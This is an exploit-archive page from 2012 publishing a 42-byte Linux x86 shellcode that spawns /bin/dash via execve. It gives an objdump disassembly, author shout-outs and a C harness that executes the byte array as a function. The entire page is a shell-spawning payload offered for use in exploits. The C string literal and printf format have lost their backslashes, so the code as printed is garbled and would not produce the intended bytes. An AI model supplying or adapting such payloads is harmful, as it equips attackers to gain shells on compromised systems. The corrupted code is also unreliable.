[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 execve(/bin/dash) 42 bytes
# Published : 2012-05-16
# Author :
# Previous Title : ARM Bind Connect UDP Port 68
# Next Title : Shellcode Checksum Routine


/*
 
linux/x86 execve(/bin/dash) 42 bytes
Author        : X-h4ck 
                mem001@live.com, mem003@live.com
                www.pirate.al , www.flashcrew.in
Greetz        : mywisdom - Danzel - Wulns~ - IllyrianWarrior- Ace - M4yh3m - Saldeath
                ev1lut1on - Lekosta - Pretorian - bi0 - Slimshaddy - d3trimentaL 
                CR - Hack-Down - H3ll - d4nte_sA - th3p0wer and all PirateAL friends.
PROUD TO BE ALBANIAN!
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
 
root@bt:~/Desktop# objdump -D sh

sh:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:    eb 19                    jmp    0x804807b
 8048062:    5b                       pop    %ebx
 8048063:    b8 00 00 00 00           mov    $0x0,%eax
 8048068:    88 43 09                 mov    %al,0x9(%ebx)
 804806b:    89 5b 0a                 mov    %ebx,0xa(%ebx)
 804806e:    89 43 0e                 mov    %eax,0xe(%ebx)
 8048071:    b0 0b                    mov    $0xb,%al
 8048073:    8d 4b 0a                 lea    0xa(%ebx),%ecx
 8048076:    8d 53 0e                 lea    0xe(%ebx),%edx
 8048079:    cd 80                    int    $0x80
 804807b:    e8 e2 ff ff ff           call   0x8048062
 8048080:    2f                       das    
 8048081:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 8048084:    2f                       das    
 8048085:    64                       fs
 8048086:    61                       popa   
 8048087:    73 68                    jae    0x80480f1 
 
*/
 
#include <stdio.h>


char sc[] = "xebx19x5bxb8x00x00x00x00x88"
            "x43x09x89x5bx0ax89x43x0exb0"
            "x0bx8dx4bx0ax8dx53x0excdx80"
            "xe8xe2xffxffxffx2fx62x69x6e"
            "x2fx64x61x73x68";
void main(void)
{
       void(*s)(void);
       printf("madhesia : %dn", sizeof(sc));
       s = sc;
       s();
}